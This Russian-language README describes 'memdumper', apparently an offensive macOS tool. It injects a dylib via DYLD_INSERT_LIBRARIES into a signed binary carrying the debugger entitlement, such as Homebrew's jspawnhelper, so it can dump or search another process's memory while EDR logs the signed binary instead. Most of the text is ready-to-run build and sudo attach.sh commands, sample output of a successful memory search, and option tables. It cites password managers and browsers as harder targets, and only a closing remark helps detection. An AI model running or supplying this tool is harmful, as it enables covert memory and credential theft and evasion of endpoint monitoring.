
Злоупотребляет энтайтлментами отладчика macOS и переменной DYLD_INSERT_LIBRARIES для снятия дампа памяти запущенного процесса или поиска по ней, перекладывая атрибуцию EDR на подписанный вспомогательный бинарный файл.
memdumper читает память запущенного процесса macOS, используя entitlement отладчика другого подписанного бинарника. Цель — чтобы task_for_pid и ptrace выполнялись от имени этого бинарника с entitlement, и EDR записал именно его, а не memdumper.
от cenobyte [email protected] 2026
https://github.com/cenobyte-vincit/memdumper
memdumper запускает бинарник с entitlement, который несёт com.apple.security.cs.debugger плюс два entitlement, разрешающих вставку через DYLD_INSERT_LIBRARIES. Используйте его, чтобы искать и дампить память другого процесса от root. OpenJDK jspawnhelper — часто встречающийся бинарник, особенно на машинах разработчиков.
Передайте attach.sh PID цели и бинарник с entitlement. Конструктор dylib выполняется до main этого бинарника, читает цель, затем вызывает _exit. Бинарник с entitlement так и не доходит до main, поэтому такой хелпер, как jspawnhelper, не печатает свой баннер использования. Дополнительные аргументы после бинарника с entitlement остаются в командной строке, которую записывает EDR. Без -s dylib делает hex-дамп начала каждой читаемой области. С -s он ищет строку в этих областях. Адресное пространство цели не изменяется. Присоединение через ptrace может ненадолго остановить цель.
Статус дампа — строка [RESULT] в объединённом выводе. Успешная вставка завершается с кодом 0 после завершения конструктора.
com.apple.security.cs.debugger, com.apple.security.cs.allow-dyld-environment-variables и com.apple.security.cs.disable-library-validation (например, jspawnhelper из OpenJDK)clangmakeattach.sh и тестовых скриптов (brew install shellcheck)brew install cppcheck)На хосте сборки:
make
В результате получится memdumper.dylib. Скопируйте attach.sh и memdumper.dylib на целевой хост, если машины разные.
Запускайте attach.sh от root из каталога, в котором лежит memdumper.dylib. Вызов не от root отклоняется до запуска бинарника с entitlement (root required). Это позволяет избежать диалога пароля Developer Tool Access (taskgated / Authorization Services). Этот диалог не является частью Transparency, Consent, and Control (TCC).
sudo ./attach.sh [options] -p <pid> <entitled-binary> [args...]
Убедитесь, что кандидат в бинарники с entitlement имеет все три entitlement. Префикс Cellar и версия OpenJDK различаются; attach.sh использует такую раскладку в собственной справке:
codesign -d --entitlements - \
/opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper
Дамп читаемых областей PID 4543:
sudo ./attach.sh -p 4543 \
/opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper
Поиск HELLO в этом процессе:
sudo ./attach.sh -s HELLO -p 4543 \
/opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper
Ограничить дамп 50 читаемых областей, используя java как бинарник с entitlement. TestSpawn остаётся в командной строке; main у java не выполняется:
sudo ./attach.sh -n 50 -p 4543 \
/opt/homebrew/Cellar/openjdk/25.0.2/bin/java TestSpawn
Редактор без Hardened Runtime — рабочая цель для быстрой проверки. Запустите его от пользователя, которому принадлежит буфер, затем присоединитесь от root. В одном терминале:
nano foo
Поместите HELLO в буфер, чтобы строка оказалась в процессе (сохраните файл или оставьте несохранённым). В другом терминале, из каталога, где лежит memdumper.dylib:
sudo ./attach.sh -s HELLO -p "$(pgrep nano)" \
/opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper
Попадание выглядит так. Затем процесс завершается с кодом 0:
Target: pid 9810 (nano)
Target has no hardened runtime
[MEMDUMPER] Injected into PID 9852 (UID 0)
[MEMDUMPER] Entitled binary: /opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper
[MEMDUMPER] Target: PID 9810 (nano)
[METHOD1] task_for_pid() on PID 9810 (nano)
[*] Got task port 0x1013
[*] Task info: virt=425098.0MB res=8.3MB
[*] Threads: 1
[MEMORY SEARCH] Looking for "HELLO" in PID 9810
MATCH at 0xa70c60200 (region: 0xa70c00000-0xa71000000, prot: rw-)
Context:
0x0000000a70c601c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0x0000000a70c601d0: 4f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |O...............|
0x0000000a70c601e0: 23 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |#...............|
0x0000000a70c601f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0x0000000a70c60200: 48 45 4c 4c 4f 00 00 00 00 00 00 00 00 00 00 00 |HELLO...........|
0x0000000a70c60210: 66 6f 6f 00 00 00 00 00 00 00 00 00 00 00 00 00 |foo.............|
0x0000000a70c60220: 6f d9 b9 83 27 dc 6a ec 00 04 00 00 00 00 00 00 |o...'.j.........|
0x0000000a70c60230: 48 45 4c 4c 4f 00 00 00 00 00 00 00 00 00 00 00 |HELLO...........|
0x0000000a70c60240: 2e 2f 00 00 00 |./...|
MATCH at 0xa70c60230 (region: 0xa70c00000-0xa71000000, prot: rw-)
Context:
0x0000000a70c601f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0x0000000a70c60200: 48 45 4c 4c 4f 00 00 00 00 00 00 00 00 00 00 00 |HELLO...........|
0x0000000a70c60210: 66 6f 6f 00 00 00 00 00 00 00 00 00 00 00 00 00 |foo.............|
0x0000000a70c60220: 6f d9 b9 83 27 dc 6a ec 00 04 00 00 00 00 00 00 |o...'.j.........|
0x0000000a70c60230: 48 45 4c 4c 4f 00 00 00 00 00 00 00 00 00 00 00 |HELLO...........|
0x0000000a70c60240: 2e 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |./..............|
0x0000000a70c60250: 66 6f 6f 00 00 00 00 00 00 00 00 00 00 00 00 00 |foo.............|
0x0000000a70c60260: 2f d9 b9 83 27 dc 6a ec 22 90 00 00 00 00 00 00 |/...'.j.".......|
0x0000000a70c60270: 00 00 00 00 00 |.....|
Search complete: 2 matches found in 70 regions
[METHOD2] ptrace(PT_ATTACHEXC) on PID 9810 (nano)
[*] Attached with ptrace
[*] Detached successfully
[METHOD3] proc_pidinfo() on PID 9810 (nano)
[*] Process info: virt=425098MB res=8MB threads=1
[RESULT] 3/3 methods successful - FULL ACCESS
[MEMDUMPER] Done
attach.sh не проверяет entitlement бинарника с entitlement. Если в бинарнике не хватает любого из трёх, вставка или task_for_pid завершатся ошибкой.
| Код | Значение |
|---|---|
| 0 | Конструктор завершился после успешной вставки |
| 1 | Ошибка использования, не root, отсутствует memdumper.dylib в текущем каталоге, отсутствует -p, PID цели не найден, Hardened Runtime без --force, или вставка не произошла (тогда бинарник с entitlement запустился и завершился с ненулевым кодом) |
Смотрите [RESULT] для оценки результата дампа. Код выхода 0 означает только то, что конструктор выполнился и вызвал _exit.
Dylib читает три переменные окружения. attach.sh задаёт их из флагов.
Любой загрузчик, который устанавливает DYLD_INSERT_LIBRARIES в memdumper.dylib и эти переменные, может внедрить dylib. attach.sh — штатный загрузчик из репозитория.
На хосте сборки make собирает dylib и запускает cppcheck и shellcheck. make test запускает модульные тесты и функциональный набор. Эти проверки не являются доказательством чистоты среды выполнения.
Живые тесты поиска и дампа требуют Homebrew OpenJDK и uid 0. Они ищут jspawnhelper через find в /opt/homebrew/Cellar и /usr/local/Cellar (без привязки к версии). Они не вызывают sudo сами. Если Homebrew OpenJDK нет или набор уже не запущен от uid 0, эти два случая пропускаются (код 77), поэтому make test не от root не показывает диалог Developer Tool Access. Используйте sudo make test, когда хотите, чтобы эти вставки выполнились.
make
make test
sudo make test
make test-unit
make test-functional
task_for_pid, ptrace и чтение памяти (1Password, Chrome). --force всё равно пытается, но почти всегда безуспешно.taskgated проверяет право Authorization Services system.privilege.taskport. Этот диалог не является TCC. Режим разработчика (DevToolsSecurity -enable) вместе с членством в admin или _developer не подавляет его для Homebrew jspawnhelper (adhoc, публичный entitlement отладчика). Он пропускает пароль только для подписанных Apple инструментов, таких как lldb. System Integrity Protection (SIP) оставляет защищённые системные процессы недосягаемыми даже для root.bash) отказываются от подключения из-за других проверок.attach.sh ищет в текущем рабочем каталоге, а не рядом со скриптом. Для полной «боевой» реализации реализуйте этот загрузчик на этапе 1 или этапе 2, а не поставляйте .system.privilege.taskport, три метода, что записывает EDR| Опция | Значение |
|---|
-p, --pid PID | ID целевого процесса (обязательно) |
-s, --search STRING | Искать STRING в читаемых областях |
-n, --max-regions N | Максимум читаемых областей для hex-дампа (по умолчанию 100). Только для пути дампа |
-f, --force | Продолжить, если codesign сообщает о Hardened Runtime |
-h, --help | Показать справку (код выхода 1) |
| Переменная | Задаётся через | Значение |
|---|
MEMDUMPER_TARGET_PID | -p | PID цели. Если не задана или не является положительным целым числом, конструктор печатает диагностику и возвращается |
MEMDUMPER_SEARCH | -s | Если не пустая, выполняется поиск вместо дампа |
MEMDUMPER_MAX_REGIONS | -n | Число читаемых областей для hex-дампа (по умолчанию 100). Игнорируется на пути поиска |
memdumper.dylibattach.sh-n / MEMDUMPER_MAX_REGIONS, по умолчанию 100).ptrace — только присоединение и отсоединение. Он не дампит память. [RESULT] 3/3 означает, что все три вызова успешны, а не то, что выполнились три пути дампа.DYLD_INSERT_LIBRARIES. Охотники за угрозами используют это поле, чтобы заметить такую вставку.